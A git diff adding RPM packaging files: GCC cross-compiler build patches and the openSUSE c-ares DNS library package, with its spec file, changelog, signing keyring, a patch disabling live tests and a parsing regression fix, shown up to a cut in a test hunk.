new file mode 100644
index 0000000..d3bc64f
--- /dev/null
+++ b/rpm-local/spec/arm-elf-gcc/fix-gcc5-build.patch
@@ -0,0 +1,22 @@
+--- src/gcc-4.5.2/gcc/cp/cfns.h.orig 2015-02-13 08:27:46.000000000 +0200
++++ src/gcc-4.5.2/gcc/cp/cfns.h 2015-02-13 10:23:53.000000000 +0200
+@@ -53,6 +53,9 @@
+ static unsigned int hash (const char *, unsigned int);
+ #ifdef __GNUC__
+ __inline
++#ifdef __GNUC_STDC_INLINE__
++__attribute__ ((__gnu_inline__))
++#endif
+ #endif
+ const char * libc_name_p (const char *, unsigned int);
+ /* maximum key range = 391, duplicates = 0 */
+@@ -96,7 +99,7 @@
+ 400, 400, 400, 400, 400, 400, 400, 400, 400, 400,
+ 400, 400, 400, 400, 400, 400, 400
+ };
+- register int hval = len;
++ register int hval = (int)len;
+
+ switch (hval)
+ {
+
diff --git a/rpm-local/spec/arm-elf-gcc/fix-gcc9-build.patch b/rpm-local/spec/arm-elf-gcc/fix-gcc9-build.patch
new file mode 100644
index 0000000..20108b5
--- /dev/null
+++ b/rpm-local/spec/arm-elf-gcc/fix-gcc9-build.patch
@@ -0,0 +1,13 @@
+diff --git a/gcc/pretty-print.h b/gcc/pretty-print.h
+index 3ba5035..f75693c 100644
+--- a/gcc/pretty-print.h
++++ b/gcc/pretty-print.h
+@@ -310,7 +310,7 @@ extern void pp_base_append_text (pretty_printer *, const char *, const char *);
+
+ /* This header may be included before toplev.h, hence the duplicate
+ definitions to allow for GCC-specific formats. */
+-#if GCC_VERSION >= 3005
++#if (GCC_VERSION >= 3005) && (GCC_VERSION != 9002) /* 9.1.0 is buggy: https://gcc.gnu.org/PR90677 */
+ #define ATTRIBUTE_GCC_PPDIAG(m, n) __attribute__ ((__format__ (__gcc_diag__, m ,n))) ATTRIBUTE_NONNULL(m)
+ #else
+ #define ATTRIBUTE_GCC_PPDIAG(m, n) ATTRIBUTE_NONNULL(m)
diff --git a/rpm-local/spec/c-ares/0001-Use-RPM-compiler-options.patch b/rpm-local/spec/c-ares/0001-Use-RPM-compiler-options.patch
new file mode 100644
index 0000000..721b713
--- /dev/null
+++ b/rpm-local/spec/c-ares/0001-Use-RPM-compiler-options.patch
@@ -0,0 +1,41 @@
+From 7dada62a77e061c752123e672e844386ff3b01ea Mon Sep 17 00:00:00 2001
+From: Stephen Gallagher <sgallagh@redhat.com>
+Date: Wed, 10 Apr 2013 12:32:44 -0400
+Subject: [PATCH] Use RPM compiler options
+
+---
+ m4/cares-compilers.m4 | 19 ++++++-------------
+ 1 file changed, 6 insertions(+), 13 deletions(-)
+
+diff --git a/m4/cares-compilers.m4 b/m4/cares-compilers.m4
+index 7ee8e0dbe741c1a64149a0d20b826f507b3ec620..d7708230fb5628ae80fbf1052da0d2c78ebbc160 100644
+--- a/m4/cares-compilers.m4
++++ b/m4/cares-compilers.m4
+@@ -143,19 +143,12 @@ AC_DEFUN([CARES_CHECK_COMPILER_GNU_C], [
+ gccvhi=`echo $gccver | cut -d . -f1`
+ gccvlo=`echo $gccver | cut -d . -f2`
+ compiler_num=`(expr $gccvhi "*" 100 + $gccvlo) 2>/dev/null`
+- flags_dbg_all="-g -g0 -g1 -g2 -g3"
+- flags_dbg_all="$flags_dbg_all -ggdb"
+- flags_dbg_all="$flags_dbg_all -gstabs"
+- flags_dbg_all="$flags_dbg_all -gstabs+"
+- flags_dbg_all="$flags_dbg_all -gcoff"
+- flags_dbg_all="$flags_dbg_all -gxcoff"
+- flags_dbg_all="$flags_dbg_all -gdwarf-2"
+- flags_dbg_all="$flags_dbg_all -gvms"
+- flags_dbg_yes="-g"
+- flags_dbg_off="-g0"
+- flags_opt_all="-O -O0 -O1 -O2 -O3 -Os"
+- flags_opt_yes="-O2"
+- flags_opt_off="-O0"
++ flags_dbg_all=""
++ flags_dbg_yes=""
++ flags_dbg_off=""
++ flags_opt_all=""
++ flags_opt_yes=""
++ flags_opt_off=""
+ CURL_CHECK_DEF([_WIN32], [], [silent])
+ else
+ AC_MSG_RESULT([no])
+--
+1.8.1.4
diff --git a/rpm-local/spec/c-ares/baselibs.conf b/rpm-local/spec/c-ares/baselibs.conf
new file mode 100644
index 0000000..b759d40
--- /dev/null
+++ b/rpm-local/spec/c-ares/baselibs.conf
@@ -0,0 +1 @@
+libcares2
diff --git a/rpm-local/spec/c-ares/c-ares.changes b/rpm-local/spec/c-ares/c-ares.changes
new file mode 100644
index 0000000..0023367
--- /dev/null
+++ b/rpm-local/spec/c-ares/c-ares.changes
@@ -0,0 +1,361 @@
+-------------------------------------------------------------------
+Mon Feb 3 15:17:24 UTC 2020 - Adam Majer <adam.majer@suse.de>
+
+- Upgrade to latest snapshot from 2020-01-17
+- disable-live-tests.patch: refreshed
+- regression.patch: fix a regression in DNS results that contain
+ both A and AAAA answers.
+
+-------------------------------------------------------------------
+Tue Jan 28 15:52:23 UTC 2020 - Michał Rostecki <mrostecki@opensuse.org>
+
+- Add netcfg as the build requirement and runtime requirement.
+ ares_getaddrinfo function uses the getservbyport_r function which
+ requires the /etc/services file to function properly. That config
+ file is provided by the netcfg package. Unit tests rely on it
+ too, hence it has to be a build dependency as well.
+
+-------------------------------------------------------------------
+Mon Jan 6 17:54:05 UTC 2020 - Todd R <toddrme2178@gmail.com>
+
+- Switch to cmake-based build.
+ Some packages need the cmake build files.
+
+-------------------------------------------------------------------
+Fri Nov 15 07:59:27 UTC 2019 - Tomáš Chvátal <tchvatal@suse.com>
+
+- Fix version number of the snapshot to not be downgrade:
+ bsc#1156601
+
+-------------------------------------------------------------------
+Fri Nov 8 11:16:29 UTC 2019 - Adam Majer <adam.majer@suse.de>
+
+- Update to upstream snapshot 20191108
+ * getaddrinfo - avoid infinite loop in case of NXDOMAIN
+ * ares_getenv - return NULL in all cases
+ * implement ares_getaddrinfo
+
+- onion-crash.patch: removed, upstreamed.
+- removed upstream patches that are part of the snapshot:
+ 0001-Add-initial-implementation-for-ares_getaddrinfo-112.patch
+ 0002-Remaining-queries-counter-fix-additional-unit-tests-.patch
+ 0003-Bugfix-for-ares_getaddrinfo-and-additional-unit-test.patch
+ 0004-Add-ares__sortaddrinfo-to-support-getaddrinfo-sorted.patch
+ 0005-getaddrinfo-avoid-infinite-loop-in-case-of-NXDOMAIN-.patch
+ 0006-getaddrinfo-callback-must-be-called-on-bad-domain-24.patch
+ 0007-getaddrinfo-enhancements-257.patch
+ 0008-Add-missing-limits.h-include-from-ares_getaddrinfo.c.patch
+ 0009-Increase-portability-of-ares-test-mock-ai.cc-235.patch
+ 0010-Disable-failing-test.patch
+- disable-live-tests.patch - updated
+
+-------------------------------------------------------------------
+Wed Oct 23 15:11:27 UTC 2019 - Michał Rostecki <mrostecki@opensuse.org>
+
+- Add upstream patches with the ares_getaddrinfo function:
+ * 0001-Add-initial-implementation-for-ares_getaddrinfo-112.patch
+ * 0002-Remaining-queries-counter-fix-additional-unit-tests-.patch
+ * 0003-Bugfix-for-ares_getaddrinfo-and-additional-unit-test.patch
+ * 0004-Add-ares__sortaddrinfo-to-support-getaddrinfo-sorted.patch
+ * 0005-getaddrinfo-avoid-infinite-loop-in-case-of-NXDOMAIN-.patch
+ * 0006-getaddrinfo-callback-must-be-called-on-bad-domain-24.patch
+ * 0007-getaddrinfo-enhancements-257.patch
+ * 0008-Add-missing-limits.h-include-from-ares_getaddrinfo.c.patch
+ * 0009-Increase-portability-of-ares-test-mock-ai.cc-235.patch
+- Add a patch which disables test failing on OBS (but passing in
+ local environment):
+ * 0010-Disable-failing-test.patch
+
+-------------------------------------------------------------------
+Wed Feb 13 15:44:18 UTC 2019 - adam.majer@suse.de
+
+- Version update to 1.15.0:
+ * Add ares_init_options() configurability for path to resolv.conf file
+ * Ability to exclude building of tools (adig, ahost, acountry) in CMake
+ * Report ARES_ENOTFOUND for .onion domain names as per RFC7686
+ (bsc#1125306)
+ * Apply the IPv6 server blacklist to all nameserver sources
+ * Prevent changing name servers while queries are outstanding
+ * ares_set_servers_csv() on failure should not leave channel in a
+ bad state
+- enable unit tests
+- disable-live-tests.patch: disable tests to live servers
+- onion-crash.patch: backport fix for a crash affecting .onion TLD
+
+-------------------------------------------------------------------
+Tue Feb 20 13:34:46 UTC 2018 - jengelh@inai.de
+
+- Remove ineffective --with-pic.
+
+-------------------------------------------------------------------
+Tue Feb 20 09:35:43 UTC 2018 - tchvatal@suse.com
+
+- Version update to 1.14.0:
+ * Fix patch for CVE-2017-1000381 to not be overly aggressive
+ * gethostbyaddr should fail with ECANCELLED not ENOTFOUND when ares_cancel is called
+ * ares_gethostbyname.3: fix callback status values
+ * docs: Document WSAStartup requirement
+ * Fix a typo in init_by_resolv_conf
+
+-------------------------------------------------------------------
+Tue Feb 20 09:35:01 UTC 2018 - tchvatal@suse.com
+
+- Rename everything to c-ares
+
+-------------------------------------------------------------------
+Tue Jun 20 19:35:16 UTC 2017 - tchvatal@suse.com
+
+- Version update to 1.13.0:
+ * Fixes bsc#1044946 CVE-2017-1000381
+ * Bunch of bugfixes
+- Drop cares-1.9.1-ocloexec.patch as it broke again and it is
+ not really worth all the fwdporting
+- Drop check phase there is only return 0
+
+-------------------------------------------------------------------
+Mon Oct 31 12:05:59 UTC 2016 - tchvatal@suse.com
+
+- Version update to 1.12.0:
+ * Fixes bsc#1007728 CVE-2016-5180
+ * api: add ARES_OPT_NOROTATE optmask value
+ * Collection of bugfixes
+
+-------------------------------------------------------------------
+Thu Jun 9 20:41:26 UTC 2016 - astieger@suse.com
+
+- update to 1.11.0:
+ * Allow multiple -s options to the ahost command
+ * api: Expose the ares_library_initialized() function
+ * api: Add ares_set_sortlist(3) entrypoint
+ * api: Add entrypoints to allow use of per-server ports
+ * api: introduce `ares_parse_txt_reply_ext`
+ * api: Add ares_set_socket_configure_callback()
+ * Add -t u option to ahost
+ * collection of bug fixes
+
+-------------------------------------------------------------------
+Fri Nov 14 09:18:41 UTC 2014 - dimstar@opensuse.org
+
+- No longer perform gpg validation; osc source_validator does it
+ implicit:
+ + Drop gpg-offline BuildRequires.
+ + No longer execute gpg_verify.
+
+-------------------------------------------------------------------
+Thu May 15 12:07:42 UTC 2014 - tchvatal@suse.com
+
+- Version bump to 1.10.0:
+ * Various small updates all around
+ * Cleanup of automake to build with latest tools
+ * For more see CHANGES
+- Remove upstreamed patches:
+ * cares-autotools.diff
+- Remove patch that needs quite work and was never acceted upstream:
+ * 0001-cares-1.9.1-add-symbol-versioning-support.patch
+- Added patches:
+ * 0001-Use-RPM-compiler-options.patch
+
+-------------------------------------------------------------------
+Fri May 3 07:12:14 UTC 2013 - mvyskocil@suse.com
+
+- Use the genuine upstream tarball
+- Verify tarball using gpg-offline
+
+-------------------------------------------------------------------
+Thu May 2 13:24:49 UTC 2013 - jengelh@inai.de
+
+- Get rid of outdated autotools construct to fix build with
+ new automake-1.13
+
+-------------------------------------------------------------------
+Sun Jan 6 21:14:16 UTC 2013 - p.drouand@gmail.com
+
+- Update to 1.9.1 version:
+ * include the ares_parse_soa_reply.* files in the tarball
+- Removed patches (fixed and merged on upstream release)
+ * 0001-ares_destroy.c-fix-segfault-in-ares_destroy_options.patch
+ * 0002-ares_getnameinfo-fix-random-results-with-c-ares-1.7..patch
+ * 0003-ares_init.c-fix-segfault-triggered-in-ares_init_opti.patch
+- Updated and versionned patchs for upstream release:
+ * 0001-add-symbol-versioning-support.patch
+ * cares-ocloexec.patch
+-------------------------------------------------------------------
+Fri Feb 3 20:27:55 UTC 2012 - crrodriguez@opensuse.org
+
+- Fix license
+- provide symbol versioning support
+- fix -debuginfo packages
+
+-------------------------------------------------------------------
+Tue Nov 15 09:16:32 UTC 2011 - jengelh@medozas.de
+
+- Remove redundant/unwanted tags/section (cf. specfile guidelines)
+
+-------------------------------------------------------------------
+Mon Nov 14 23:42:39 UTC 2011 - crrodriguez@opensuse.org
+
+- Open all fds with O_CLOEXEC.
+
+-------------------------------------------------------------------
+Mon Oct 17 03:29:31 UTC 2011 - crrodriguez@opensuse.org
+
+- Cherry-pick 3 patches from HEAD
+ * ares_destroy.c: fix segfault in ares_destroy_options()
+ * ares_getnameinfo: fix random results, memory corruption
+ * ares_init.c: fix segfault triggered in ares_init_options()
+ upon previous failure of init_by_defaults()
+
+-------------------------------------------------------------------
+Wed Aug 17 21:17:44 UTC 2011 - crrodriguez@opensuse.org
+
+- Update to version 1.7.4
+* Drop obsolete patch
+* detection of semicolon comments in resolv.conf
+* fixed ares_parse_*_reply memory leaks
+* only fall back to AF_INET searches when looking for AF_UNSPEC addresses
+
+-------------------------------------------------------------------
+Sat Mar 19 21:16:09 UTC 2011 - crrodriguez@opensuse.org
+
+- fix NULL ptr dereference
+
+
+-------------------------------------------------------------------
+Mon Dec 13 16:17:56 UTC 2010 - cristian.rodriguez@opensuse.org
+
+- c-ares version 1.7.4
+ * local-bind: Support binding to local interface/IPs, see
+ ares_set_local_ip4, ares_set_local_ip6, ares_set_local_dev
+
+ * memory leak in ares_getnameinfo
+ * add missing break that caused get_ares_servers to fail
+ * ares_parse_a_reply: fix CNAME response parsing
+ * init_by_options: don't copy an empty sortlist
+ * Replaced uint32_t with unsigned int to fix broken builds
+ on a couple of platforms
+ * Fix lookup with HOSTALIASES set
+ * adig: fix NAPTR parsing
+ * compiler warning cleanups
+
+-------------------------------------------------------------------
+Fri Oct 29 16:51:25 UTC 2010 - cristian.rodriguez@opensuse.org
+
+- Fix aliasing warning in gcc
+- Add missing break that caused get_ares_servers to fail
+
+-------------------------------------------------------------------
+Sun Jul 25 19:02:16 UTC 2010 - cristian.rodriguez@opensuse.org
+
+- update to version 1.7.3
+ * ares_init: Last, not first instance of domain or search should win
+ * Added ares_parse_mx_reply()
+ * Fix memory leak
+
+-------------------------------------------------------------------
+Sat Apr 24 11:38:19 UTC 2010 - coolo@novell.com
+
+- buildrequire pkg-config to fix provides
+
+-------------------------------------------------------------------
+Wed Mar 24 18:26:05 UTC 2010 - crrodriguez@opensuse.org
+
+- update to version 1.7.1, includes IPV6 nameservers support
+
+-------------------------------------------------------------------
+Wed Mar 10 14:25:32 UTC 2010 - crrodriguez@opensuse.org
+
+- remove invalid configure options
+
+-------------------------------------------------------------------
+Mon Feb 22 21:53:18 UTC 2010 - crrodriguez@opensuse.org
+
+- fix build
+- update to version 1.7.0, see RELEASE_NOTES for detail
+
+-------------------------------------------------------------------
+Mon Feb 1 11:14:59 UTC 2010 - jengelh@medozas.de
+
+- package baselibs.conf
+
+-------------------------------------------------------------------
+Wed Sep 30 20:54:42 UTC 2009 - crrodriguez@opensuse.org
+
+- add gcc visibility support
+
+-------------------------------------------------------------------
+Mon Jan 5 21:03:53 CET 2009 - crrodriguez@suse.de
+
+- update to version 1.6.0
+ * Added support for the glibc "rotate" resolv.conf option (or ARES_OPT_ROTATE)
+ * Added ares_gethostbyname_file()
+ * Added ares_dup()
+ * Added ares_set_socket_callback()
+ * improved configure detection of several functions
+ * improved source code portability
+ * adig supports a regular numerical dotted IP address for the -s option
+ * handling of EINPROGRESS for UDP connects
+ * ares_parse_ptr_reply() would cause a buffer to shrink instead of expand if a
+ reply contained 8 or more records
+ * buildconf works on OS X
+
+
+-------------------------------------------------------------------
+Wed Sep 3 16:37:43 CEST 2008 - crrodriguez@suse.de
+
+- update to c-ares 1.5.3 final
+ * address an issue in which a response could be sent back to the
+ source port of a client from a different address than the request was made to.
+ This is one form of a DNS cache poisoning attack.
+ Only necessary on UDP sockets as they are connection-less, TCP
+ is unaffected.
+
+
+-------------------------------------------------------------------
+Sat Aug 9 23:56:49 CEST 2008 - crrodriguez@suse.de
+
+- update to c-ares 1.5.3+20080809
+ * users found that the second and subsequent DNS lookups from
+ fresh processes using c-ares to resolve the same
+ address would randomly cause the process to never see a reply.
+
+-------------------------------------------------------------------
+Sun Jun 15 20:44:19 CEST 2008 - crrodriguez@suse.de
+
+- update to version 1.5.2 final
+ * code refactoring in ares_gethostbyaddr
+ * improved checking of /dev/urandom in configure script
+ * new sample application, acountry
+ * improved MSVC6 dsp files
+ * adig sample application supports NAPTR records
+ * improved file seeding randomizer
+ * improved parsing of resolver configuration files
+ * updated configure script to remove autoconf 2.62 warnings
+ * use monotonic time source if available
+ * return all PTR-records when doing reverse lookups
+ * millisecond resolution support for the timeout option
+
+
+-------------------------------------------------------------------
+Fri Apr 25 23:30:06 CEST 2008 - crrodriguez@suse.de
+
+- update to current c-ares from curl cvs
+ * Eino Tuominen improved the code when a file is used to seed the randomizer.
+ * Alexey Simak made adig support NAPTR records
+ * Erik Kline cleaned up ares_gethostbyaddr.c:next_lookup() somewhat
+ * add pkgconfig script
+
+-------------------------------------------------------------------
+Tue Apr 15 15:09:51 CEST 2008 - ro@suse.de
+
+- added baselibs.conf file for multilib support (libcurl4)
+
+-------------------------------------------------------------------
+Fri Nov 30 01:09:51 CET 2007 - crrodriguez@suse.de
+
+- version 1.5.1
+
+-------------------------------------------------------------------
+Wed Aug 8 17:48:05 UTC 2007 - crrodriguez@suse.de
+
+- run ldconfig
+
diff --git a/rpm-local/spec/c-ares/c-ares.keyring b/rpm-local/spec/c-ares/c-ares.keyring
new file mode 100644
index 0000000..95f427b
--- /dev/null
+++ b/rpm-local/spec/c-ares/c-ares.keyring
@@ -0,0 +1,34 @@
+pub rsa2048 2016-04-07 [SC]
+ 27EDEAF22F3ABCEB50DB9A125CC908FDB71E12C2
+uid [ unknown] Daniel Stenberg <daniel@haxx.se>
+sub rsa2048 2016-04-07 [E]
+
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+
+mQENBFcGiPEBCAC7sCnaZqWxfXNgBC7P28BSDUs9w4y/PEFsOv9bpgbgZagX1Fnh
+G0eV71nm0p8v9T8Bft1eXaBd977Dq9pgk5qKO0xZo8fC8prFqB5db7fMUvPZCuJT
+Tb6lGMz4OdfT6aHqUvJ+LFF1mKn8Eqt1Q4snHGSL1PI3/+435qDRQsU15GdYrj1w
+aNJKk79aes9oguaI2/OTQqzIcOFK5tJjlSOD1ryOIH1e8vD+5MMpGvsRxv3sQHeT
+ZkfZbkzSLFg/LKpoiQkyql1+BLNhBYq8oaE/jlvQrTEkbAyKpMScdyHwmkWWKjyZ
+tXTrAtlComnki4yC2lAV9MXINHHvNJBcIXvVABEBAAG0IERhbmllbCBTdGVuYmVy
+ZyA8ZGFuaWVsQGhheHguc2U+iQE3BBMBCgAhBQJXBojxAhsDBQsJCAcDBRUKCQgL
+BRYCAwEAAh4BAheAAAoJEFzJCP23HhLCOKkH/1CyoKiN2PCgTlWoYQspv/AAmsj+
+cFwZobI167KowA+o3zxQqxg0MV3ds8G+iig9OIuYurlQL5Jr3CbDltaiXdWtVteR
+h/VKp61EwyXq77vjJbx81hvOuaXWWLSlU0KB3w7Hj6aD/mt16DpOcY9Aw90mKyva
+fRTqMF7TcT7J5HeGn2NL45dPkAhiMDEgEnw9yBTxK/x6UoQGPgiOWxSSN7Foj3mh
+UOflp8W0rnkLbJ4icpym6WuLKRMKAefDvk8GVlAWuXAb9gloL1P6u3uNHllq/IOD
+R2bZUBI0QNKhvt0iSj7WKsc/kaqscl+AE9jd/6kXd6vhTNFWdzeco/2mGla5AQ0E
+VwaI8QEIAOxQAEvF3idxcn80tbUhJg1J98fAS7Hx3WhlFG74uAikZQl1KZrprBu7
+0RWTb7Nm1tvZeXW65IlY7kk42bhfYDs1JrIPWOWKvVwKWDxoEbYgW/yvy1TOuXH2
+76zbxLl5OEE8sQuOfXZsFSX2IPF9hsgNGaNzor8Ke7Y5BuCQLcGZWW5dLFbbKRKj
+XG8CaWmsJVoIc2nyXCAss2q9oCJ13X/5z+Ei392rwi1d3NxAYkSiDQan+fkWkCvZ
+H+dHmFjQ1ANDKielxcW1VfilK1hu9ziBBDf8TCEud/q0woIAH7rvIft4i3Cqjymo
+nByE4/OjfH8j4EteQ8qoknMCjjwNVqkAEQEAAYkBHwQYAQoACQUCVwaI8QIbDAAK
+CRBcyQj9tx4SwupjB/9TV4anbZK58bN7QJ5qGnU3GNjlvWFZXMw1u1xVc7abDJyq
+mFeJcJ4qLUkvBA0OsvlVnMWmeCmzsXhlQVM4Bv6IWyr7JBWgkK5q2CWVB59V7v7z
+nf5kWnMGFhDFPlLsGbxDWLMoZGH+Iy84whMJFgferwCJy1dND/bHXPztfhvFXi8N
+NlJUFJa8Xtmugm78C+nwNHcFpVC70HPr3oa8U1ODXMp7L8W/dL3eLYXmRCNd0urH
+gYrzDt6V/zf5ymvPk5w4HBocn2oRCJj/FXKhFAUptmpTE3g1yvYULmuFcNGAnPAE
+xmAmd6NqsCmbj/qx4ytjt5uxt6Jm6IXV9cry8i6x
+=iWGV
+-----END PGP PUBLIC KEY BLOCK-----
diff --git a/rpm-local/spec/c-ares/c-ares.spec b/rpm-local/spec/c-ares/c-ares.spec
new file mode 100644
index 0000000..a5bcaf4
--- /dev/null
+++ b/rpm-local/spec/c-ares/c-ares.spec
@@ -0,0 +1,141 @@
+#
+# spec file for package c-ares
+#
+# Copyright (c) 2020 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+%define sonum 2
+%define libname libcares%{sonum}
+%define realver 1.15.0-20200117
+Name: c-ares
+Version: 1.15.0+20200117
+Release: 0
+Summary: Library for asynchronous name resolves
+License: MIT
+URL: https://c-ares.haxx.se/
+#Source0: https://c-ares.haxx.se/daily-snapshot/c-ares-%{realver}.tar.gz
+Source0: c-ares-%{realver}.tar.gz
+#Source0: http://c-ares.haxx.se/download/%{name}-%{version}.tar.gz
+#Source1: http://c-ares.haxx.se/download/%{name}-%{version}.tar.gz.asc
+Source3: %{name}.keyring
+Source4: baselibs.conf
+Patch0: 0001-Use-RPM-compiler-options.patch
+Patch1: disable-live-tests.patch
+Patch2: regression.patch
+BuildRequires: cmake
+BuildRequires: gcc-c++
+BuildRequires: libtool
+# Needed for getservbyport_r function to work properly.
+BuildRequires: netcfg
+BuildRequires: pkgconfig
+
+%description
+c-ares is a C library that performs DNS requests and name resolves
+asynchronously. c-ares is a fork of the library named 'ares', written
+by Greg Hudson at MIT.
+
+%package utils
+Summary: Tools for asynchronous name resolves
+
+%description utils
+c-ares is a C library that performs DNS requests and name resolves
+asynchronously. c-ares is a fork of the library named 'ares', written
+by Greg Hudson at MIT.
+
+This package provides some tools that make use of c-ares.
+
+
+%package -n %{libname}
+Summary: Library for asynchronous name resolves
+# Needed for getservbyport_r function to work properly.
+Requires: netcfg
+
+%description -n %{libname}
+c-ares is a C library that performs DNS requests and name resolves
+asynchronously. c-ares is a fork of the library named 'ares', written
+by Greg Hudson at MIT.
+
+This package provides the shared libraries for c-ares.
+
+
+%package devel
+Summary: Development files for %{name}
+Requires: %{libname} = %{version}
+Requires: glibc-devel
+Provides: libcares-devel = %{version}
+Obsoletes: libcares-devel < %{version}
+
+%description devel
+c-ares is a C library that performs DNS requests and name resolves
+asynchronously. c-ares is a fork of the library named 'ares', written
+by Greg Hudson at MIT.
+
+This package provides the development libraries and headers needed
+to build packages that depend on c-ares.
+
+
+%prep
+%autosetup -p1 -n %{name}-%{realver}
+
+# Remove bogus cflags checking
+sed -i -e '/XC_CHECK_BUILD_FLAGS/d' configure.ac
+sed -i -e '/XC_CHECK_USER_FLAGS/d' m4/xc-cc-check.m4
+
+%build
+%cmake \
+ -DCARES_STATIC:BOOL=OFF \
+ -DCARES_SHARED:BOOL=ON \
+ -DCARES_INSTALL:BOOL=ON \
+ -DCARES_BUILD_TESTS:BOOL=ON \
+ -DCARES_BUILD_TOOLS:BOOL=ON
+make %{?_smp_mflags}
+
+%install
+%cmake_install
+install -m 644 -Dt %{buildroot}%{_mandir}/man1/ *.1
+install -m 644 -Dt %{buildroot}%{_mandir}/man3/ *.3
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+pushd build
+make -C test %{?_smp_mflags}
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:./lib
+./bin/arestest
+
+%post -n %{libname} -p /sbin/ldconfig
+%postun -n %{libname} -p /sbin/ldconfig
+
+%files utils
+%license LICENSE.md
+%{_bindir}/acountry
+%{_bindir}/adig
+%{_bindir}/ahost
+%{_mandir}/man1/acountry.1%{ext_man}
+%{_mandir}/man1/adig.1%{ext_man}
+%{_mandir}/man1/ahost.1%{ext_man}
+
+%files -n %{libname}
+%license LICENSE.md
+%{_libdir}/libcares.so.2*
+
+%files devel
+%license LICENSE.md
+%{_libdir}/libcares.so
+%{_includedir}/*.h
+%{_mandir}/man3/ares_*.3%{ext_man}
+%{_libdir}/pkgconfig/libcares.pc
+%{_libdir}/cmake/c-ares/
+
+%changelog
diff --git a/rpm-local/spec/c-ares/disable-live-tests.patch b/rpm-local/spec/c-ares/disable-live-tests.patch
new file mode 100644
index 0000000..114aeab
--- /dev/null
+++ b/rpm-local/spec/c-ares/disable-live-tests.patch
@@ -0,0 +1,56 @@
+Index: c-ares-1.15.0-20200117/test/Makefile.inc
+===================================================================
+--- c-ares-1.15.0-20200117.orig/test/Makefile.inc
++++ c-ares-1.15.0-20200117/test/Makefile.inc
+@@ -13,7 +13,6 @@ TESTSOURCES = ares-test-main.cc \
+ ares-test-parse-srv.cc \
+ ares-test-parse-txt.cc \
+ ares-test-misc.cc \
+- ares-test-live.cc \
+ ares-test-mock.cc \
+ ares-test-mock-ai.cc \
+ ares-test-internal.cc \
+Index: c-ares-1.15.0-20200117/test/ares-test-misc.cc
+===================================================================
+--- c-ares-1.15.0-20200117.orig/test/ares-test-misc.cc
++++ c-ares-1.15.0-20200117/test/ares-test-misc.cc
+@@ -47,10 +47,12 @@ TEST_F(DefaultChannelTest, SetServers) {
+ EXPECT_EQ(expected, GetNameServers(channel_));
+
+ // Change not allowed while request is pending
++ /*
+ HostResult result;
+ ares_gethostbyname(channel_, "www.google.com.", AF_INET, HostCallback, &result);
+ EXPECT_EQ(ARES_ENOTIMP, ares_set_servers(channel_, &server1));
+ ares_cancel(channel_);
++ */
+ }
+
+ TEST_F(DefaultChannelTest, SetServersPorts) {
+@@ -77,10 +79,12 @@ TEST_F(DefaultChannelTest, SetServersPor
+ EXPECT_EQ(expected, GetNameServers(channel_));
+
+ // Change not allowed while request is pending
++ /*
+ HostResult result;
+ ares_gethostbyname(channel_, "www.google.com.", AF_INET, HostCallback, &result);
+ EXPECT_EQ(ARES_ENOTIMP, ares_set_servers_ports(channel_, &server1));
+ ares_cancel(channel_);
++ */
+ }
+
+ TEST_F(DefaultChannelTest, SetServersCSV) {
+@@ -109,11 +113,13 @@ TEST_F(DefaultChannelTest, SetServersCSV
+ EXPECT_EQ(expected2, GetNameServers(channel_));
+
+ // Change not allowed while request is pending
++ /*
+ HostResult result;
+ ares_gethostbyname(channel_, "www.google.com.", AF_INET, HostCallback, &result);
+ EXPECT_EQ(ARES_ENOTIMP, ares_set_servers_csv(channel_, "1.2.3.4,2.3.4.5"));
+ EXPECT_EQ(ARES_ENOTIMP, ares_set_servers_ports_csv(channel_, "1.2.3.4:56,2.3.4.5:67"));
+ ares_cancel(channel_);
++ */
+
+ // Should survive duplication
+ ares_channel channel2;
diff --git a/rpm-local/spec/c-ares/regression.patch b/rpm-local/spec/c-ares/regression.patch
new file mode 100644
index 0000000..a843fe9
--- /dev/null
+++ b/rpm-local/spec/c-ares/regression.patch
@@ -0,0 +1,106 @@
+commit 9413d54ff43d18cedf0d4531408aabc7c2c102a2
+Author: Adam Majer <amajer@suse.de>
+Date: Mon Feb 3 15:19:08 2020 +0100
+
+ Only count valid addresses when response parsing
+
+ When ares_parse_a_reply or ares_parse_aaaa_reply is called in case
+ where another AAAA and A responses exist, the resulting ares_addrttl
+ count is invalid and the structure points to gibberish.
+
+ This is a regression since 1.15.
+
+ PR: https://github.com/c-ares/c-ares/pull/302
+
+diff --git a/ares_parse_a_reply.c b/ares_parse_a_reply.c
+index b506f72..920ba24 100644
+--- a/ares_parse_a_reply.c
++++ b/ares_parse_a_reply.c
+@@ -86,7 +86,10 @@ int ares_parse_a_reply(const unsigned char *abuf, int alen,
+ next = ai.nodes;
+ while (next)
+ {
+- ++naddrs;
++ if (next->ai_family == AF_INET)
++ {
++ ++naddrs;
++ }
+ next = next->ai_next;
+ }
+
+diff --git a/ares_parse_aaaa_reply.c b/ares_parse_aaaa_reply.c
+index aca3f00..d39e138 100644
+--- a/ares_parse_aaaa_reply.c
++++ b/ares_parse_aaaa_reply.c
+@@ -88,7 +88,10 @@ int ares_parse_aaaa_reply(const unsigned char *abuf, int alen,
+ next = ai.nodes;
+ while (next)
+ {
+- ++naddrs;
++ if(next->ai_family == AF_INET6)
++ {
++ ++naddrs;
++ }
+ next = next->ai_next;
+ }
+
+diff --git a/test/ares-test-parse-a.cc b/test/ares-test-parse-a.cc
+index 77d9591..0741c0d 100644
+--- a/test/ares-test-parse-a.cc
++++ b/test/ares-test-parse-a.cc
+@@ -11,13 +11,14 @@ TEST_F(LibraryTest, ParseAReplyOK) {
+ DNSPacket pkt;
+ pkt.set_qid(0x1234).set_response().set_aa()
+ .add_question(new DNSQuestion("example.com", ns_t_a))
+- .add_answer(new DNSARR("example.com", 0x01020304, {2,3,4,5}));
++ .add_answer(new DNSARR("example.com", 0x01020304, {2,3,4,5}))
++ .add_answer(new DNSAaaaRR("example.com", 0x01020304, {0,0,0,0,0,0,0,0,0,0,0,0,2,3,4,5}));
+ std::vector<byte> data = {
